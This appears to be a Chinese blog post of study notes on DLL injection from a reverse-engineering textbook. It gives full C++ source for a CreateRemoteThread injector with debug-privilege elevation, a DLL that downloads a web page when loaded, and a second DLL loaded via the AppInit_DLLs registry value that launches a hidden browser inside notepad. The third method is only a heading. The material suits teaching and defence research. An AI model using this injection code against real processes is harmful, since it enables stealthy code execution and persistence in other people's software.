逆向工程核心原理之DLL注入

DLL注入三种方法:

使用LoadLibrary加载某个DLL时,该DLL中的DllMain函数就会被调用执行。

1.创建远程线程(CreateRemoteThread)

使用InjectDll.exe在notepad.exe中注入Myhack.dll(winxp提权后测试成功)


逆向工程核心原理之DLL注入_第1张图片

逆向工程核心原理之DLL注入_第2张图片

逆向工程核心原理之DLL注入_第3张图片

InjectDll.exe源码
// InjectDll.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include 
#include 


BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) 
{
    TOKEN_PRIVILEGES tp;
    HANDLE hToken;
    LUID luid;

    if( !OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, 
			              &hToken) )
    {
        _tprintf(L"OpenProcessToken error: %u\n", GetLastError());
        return FALSE;
    }

    if( !LookupPrivilegeValue(NULL,           // lookup privilege on local system
                              lpszPrivilege,  // privilege to lookup 
                              &luid) )        // receives LUID of privilege
    {
        _tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() ); 
        return FALSE; 
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if( bEnablePrivilege )
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;

    // Enable the privilege or disable all privileges.
    if( !AdjustTokenPrivileges(hToken, 
                               FALSE, 
                               &tp, 
                               sizeof(TOKEN_PRIVILEGES), 
                               (PTOKEN_PRIVILEGES) NULL, 
                               (PDWORD) NULL) )
    { 
        _tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() ); 
        return FALSE; 
    } 

    if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
    {
        _tprintf(L"The token does not have the specified privilege. \n");
        return FALSE;
    } 

    return TRUE;
}
//LPCTSTR用来表示你的字符是否使用UNICODE
BOOL InjectDll(DWORD dwPID,LPCTSTR szDllPath)
{
	HANDLE hProcess=NULL,hThread=NULL;
	HMODULE hMod=NULL;
	LPVOID pRemoteBuf=NULL;
	DWORD dwBufSize=(DWORD)(_tcslen(szDllPath)+1)*sizeof(TCHAR);
	//LPTHREAD_START_ROUTINE函数指针指向一个函数,该函数通知宿主某个线程已开始执行。.NET Framework 4 版 中已弃用此函数指针。
	LPTHREAD_START_ROUTINE pThreadProc;


	//1.使用dwPID获取目标进程句柄(notepad.exe)
	if(!(hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPID)))
	{
		//printf的宽字符版
		_tprintf(L"OpenProcess(%d) failed!!![%d]\n",dwPID,GetLastError());
		return FALSE;
	}
	
	//2.在目标进程notepad.exe内存中分配szDllName大小的内存
	if(!(pRemoteBuf=VirtualAllocEx(hProcess,NULL,dwBufSize,MEM_COMMIT,PAGE_READWRITE)))
	{
		_tprintf(L"分配地址失败!!![%d]\n",GetLastError());
	}

	//3.将myhack.dll路径写入分配的内存
	if(!(WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)szDllPath,dwBufSize,NULL)))
	{
		_tprintf(L"写入内存失败!!![%d]\n",GetLastError);
	}

	//4.获取LoadLibraryW的地址
	hMod=GetModuleHandle(L"kernel32.dll");
	if(!(pThreadProc=(LPTHREAD_START_ROUTINE)GetProcAddress(hMod,"LoadLibraryW")))
	{
		_tprintf(L"获取LoadLibraryW地址失败!!![%d]\n",GetLastError);
	}

	//5.在notepad.exe进程中运行线程
	if(!(hThread=CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL)))
	{
		_tprintf(L"运行线程失败!!![%d]\n",GetLastError);
	}

	// If dwMilliseconds is INFINITE, the function will return only when the object is signaled.
	WaitForSingleObject(hThread,INFINITE);
	CloseHandle(hThread);
	CloseHandle(hProcess);

	return TRUE;


}

int _tmain(int argc, TCHAR* argv[])
{
	if(argc!=3)
	{
		_tprintf(L"USAGE: %s pid dll_path\n",argv[0]);
		return 1;
	}
	    // change privilege
    if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
        return 1;

	//inject dll
	if(InjectDll((DWORD)_tstol(argv[1]),argv[2]))
		_tprintf(L"InjectDll(\"%s\")success!!!\n",argv[2]);
	else
		_tprintf(L"InjectDll(\"%s\")failed!!!\n",argv[2]);
	return 0;
}
Myhack.dll源码
// Myhack.cpp : Defines the exported functions for the DLL application.
//

#include "stdafx.h"

#include 
#include 
#include 
#include
// a sample exported function
#pragma comment(lib,"urlmon.lib")

#define DEF_URL (L"http://www.xinhuanet.com/comments/2018-03/20/c_1122561057.htm")
#define DEF_FILE_NAME   (L"c_1122561057.htm")

HMODULE g_hMod=NULL;

//LPVOID是一个没有类型的指针,可以将LPVOID类型的变量赋值给任意类型的指针
DWORD WINAPI ThreadProc(LPVOID lParam)
{
    //程序编译为 ANSI, TCHAR 就是相当于 CHAR,当程序编译为 UNICODE, TCHAR 就相当于 WCHAR.为了让编译器识别Unicode字符串,必须以在前面加一个“L”,
    //_MAX_PATH是C语言运行时库中通过#define指令定义的一个宏常量,它定义了编译器所支持的最长全路径名的长度。
    TCHAR szPath[_MAX_PATH]={0,};
    if(!GetModuleFileName(g_hMod,szPath,MAX_PATH))
        return FALSE;
    //从一个字符串中查找字符
    TCHAR *p=_tcsrchr(szPath,'\\');
    if(!p)
        return FALSE;

    //生成文件保存的路径,将index.html加在当前文件所在路径的后面
   _tcscpy_s(p+1,_MAX_PATH,DEF_FILE_NAME);
    //下载文件保存在index.html中
    URLDownloadToFile(NULL,DEF_URL,szPath,0,NULL);

    return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    HANDLE hThread=NULL;

    g_hMod=(HMODULE)hinstDLL;
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
            // attach to process
            // return FALSE to fail DLL load
            OutputDebugString(L"myhack.dll Injection!!!");
            hThread=CreateThread(NULL,0,ThreadProc,NULL,0,NULL);
            CloseHandle(hThread);
            break;

    }
    return TRUE; // succesful
}
2.使用注册表(AppInit_DLLs值)

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows下AppInit_DLLs的值改为myhack2.dll的路径。LoadAppInit_DLLs的值改为1.

逆向工程核心原理之DLL注入_第4张图片

逆向工程核心原理之DLL注入_第5张图片

重启计算机。然后打开notepad.exe

逆向工程核心原理之DLL注入_第6张图片


逆向工程核心原理之DLL注入_第7张图片

Myhack2.dll源码(得加上提权的部分,不然无法注入)

// myhack2.cpp : Defines the exported functions for the DLL application.
//

#include "stdafx.h"

#include 
#include 
#include
#define DEF_CMD L"C:\\Program Files\\Internet Explorer\\iexplore.exe"
#define DEF_ADDR L"http://www.baidu.com"
#define DEF_DST_PROC L"notepad.exe"

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) 
{
    TOKEN_PRIVILEGES tp;
    HANDLE hToken;
    LUID luid;

    if( !OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, 
			              &hToken) )
    {
        _tprintf(L"OpenProcessToken error: %u\n", GetLastError());
        return FALSE;
    }

    if( !LookupPrivilegeValue(NULL,           // lookup privilege on local system
                              lpszPrivilege,  // privilege to lookup 
                              &luid) )        // receives LUID of privilege
    {
        _tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() ); 
        return FALSE; 
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if( bEnablePrivilege )
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;

    // Enable the privilege or disable all privileges.
    if( !AdjustTokenPrivileges(hToken, 
                               FALSE, 
                               &tp, 
                               sizeof(TOKEN_PRIVILEGES), 
                               (PTOKEN_PRIVILEGES) NULL, 
                               (PDWORD) NULL) )
    { 
        _tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() ); 
        return FALSE; 
    } 

    if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
    {
        _tprintf(L"The token does not have the specified privilege. \n");
        return FALSE;
    } 

    return TRUE;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
    TCHAR szCmd[MAX_PATH]={0,};
    TCHAR szPath[MAX_PATH]={0,};
    TCHAR *p=NULL;
    //指定新进程的主窗口特性的一个结构
    STARTUPINFO si={0,};
    //在创建进程时相关的数据结构之一,该结构返回有关新进程及其主线程的信息。
    PROCESS_INFORMATION pi={0,};

    si.cb=sizeof(STARTUPINFO);
    si.dwFlags=STARTF_USESHOWWINDOW;
    si.wShowWindow=SW_HIDE;


    switch(fdwReason)
    {
        case DLL_PROCESS_ATTACH:
				    // change privilege
			if( !SetPrivilege(SE_DEBUG_NAME, TRUE))
				return 1;
            if(!GetModuleFileName(NULL,szPath,MAX_PATH))
                break;

            if (!(p=_tcsrchr(szPath,'\\')))
                break;

            if(_tcsicmp(p+1,DEF_DST_PROC))
                break;

            wsprintf(szCmd,L"%s %s",DEF_CMD,DEF_ADDR);


            //LPTSTR表示指向字符/字符串的指针。
            if(!CreateProcess(NULL,(LPTSTR)szCmd,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi))
                break;

            if(pi.hProcess!=NULL)
                CloseHandle(pi.hProcess);

            break;

    }
}
3.消息钩取(SetWindowsHookEx)

你可能感兴趣的:(逆向)